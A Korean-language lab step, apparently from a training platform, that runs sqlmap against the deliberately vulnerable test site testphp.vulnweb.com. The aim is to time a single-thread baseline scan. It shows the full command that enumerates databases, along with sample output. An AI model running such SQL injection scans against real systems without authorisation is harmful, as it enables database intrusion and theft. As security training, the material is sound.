단일 스레드로 기본 스캔 수행
이 단계에서는 기본 설정인 단일 스레드를 사용하여 기본적인 sqlmap 스캔을 수행합니다. 이는 이후 단계에서 성능 향상을 측정하기 위한 기준선 역할을 할 것입니다. 스캔 시간을 정확하게 측정하기 위해 time 명령어를 사용할 것입니다.
먼저 터미널에서 다음 명령을 실행합니다. 이 명령은 sqlmap 에게 제공된 URL(-u) 을 스캔하고, 데이터베이스를 열거하며 (--dbs), 비대화형 모드 (--batch) 로 실행하도록 지시합니다. 출력을 로그 파일로 리디렉션하고 time 명령어를 사용하여 실행 시간도 측정할 것입니다.
(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch) 2>&1 | tee baseline_scan.log
스캔이 완료되면 sqlmap 의 많은 출력과 함께 마지막에 시간 측정 결과가 표시됩니다. 다음과 유사하게 보일 것입니다.
... (sqlmap output) ...
[22:30:00] [INFO] fetching database names
[22:30:00] [INFO] the SQL query used returns 2 entries
[22:30:00] [INFO] retrieved: information_schema
[22:30:00] [INFO] retrieved: acuart
[22:30:00] [INFO] available databases [2]:
[*] acuart
[*] information_schema
[22:30:00] [INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/testphp.vulnweb.com'
[*] ending @ 22:30:00 /2023-10-27/
real 0m45.123s
user 0m5.456s
sys 0m0.789s
우리에게 가장 중요한 값은 총 경과 시간 (real) 을 나타내는 real입니다. 이제 이 결과를 비교 파일인 scan_times.log에 저장합니다.
echo "Baseline (1 Thread): $(grep real baseline_scan.log | awk '{print $2}')" >> scan_times.log
마지막으로 로그 파일의 내용을 확인하여 기준 시간이 기록되었는지 확인합니다.
cat scan_times.log
출력에는 기록된 시간이 표시되어야 합니다.
Baseline (1 Thread): 0m45.123s